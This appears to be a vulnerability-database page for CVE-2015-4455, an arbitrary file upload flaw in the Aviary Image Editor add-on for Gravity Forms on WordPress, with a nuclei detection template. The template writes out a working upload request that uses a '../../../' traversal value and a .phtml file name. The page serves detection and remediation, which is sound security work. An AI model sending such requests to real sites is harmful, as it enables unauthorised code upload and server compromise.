CVE-2015-4455· aviary image editor add-on for gravity forms project / aviary image editor add-on for gravity forms· CWE-434
WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload
Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.
Impact
Remote attackers can upload malicious files and execute arbitrary code on the server, leading to full system compromise.
Fix
Implement strict file validation and sanitization, restrict upload types, and update to the latest plugin version.
How to confirm it
Send: GET /?gf_page=upload ; POST /?gf_page=upload
Positive when: contains(body_1, "Failed to upload file") and status_code_2 == 200 and contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")Run it with nuclei: nuclei -id CVE-2015-4455 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2015-4455
info:
name: WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload
author: MaStErChO
severity: critical
description: |
Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.
impact: |
Remote attackers can upload malicious files and execute arbitrary code on the server, leading to full system compromise.
remediation: |
Implement strict file validation and sanitization, restrict upload types, and update to the latest plugin version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2015-4455
- http://packetstormsecurity.com/files/132256/WordPress-Aviary-Image-Editor-Add-On-For-Gravity-Forms-3.0-Beta-Shell-Upload.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-4455
cwe-id: CWE-434
epss-score: 0.40595
epss-percentile: 0.98663
cpe: cpe:2.3:a:aviary_image_editor_add-on_for_gravity_forms_project:aviary_image_editor_add-on_for_gravity_forms:*:beta:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "aviary_image_editor_add-on_for_gravity_forms_project"
product: "aviary_image_editor_add-on_for_gravity_forms"
framework: wordpress
tags: cve,cve2015,packetstorm,intrusive,file-upload,wordpress,aviary_image_editor_add-on_for_gravity_forms_project,vkev,vuln
variables:
filename: '{{rand_base(7, "abc")}}'
http:
- raw:
- |
GET /?gf_page=upload HTTP/1.1
Host: {{Hostname}}
- |
POST /?gf_page=upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="field_id"
3
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="form_id"
1
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="gform_unique_id"
../../../
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="name"
{{filename}}.phtml
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="file"; filename="{{filename}}.jpg"
Content-Type: text/html
{{randstr}}
--a54906fe12c504cb01ca836d062f82fa--
host-redirects: true
matchers:
- type: dsl
dsl:
- 'contains(body_1, "Failed to upload file")'
- 'status_code_2 == 200'
- 'contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2015-4455
- http://packetstormsecurity.com/files/132256/WordPress-Aviary-Image-Editor-Add-On-For-Gravity-Forms-3.0-Beta-Shell-Upload.html
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from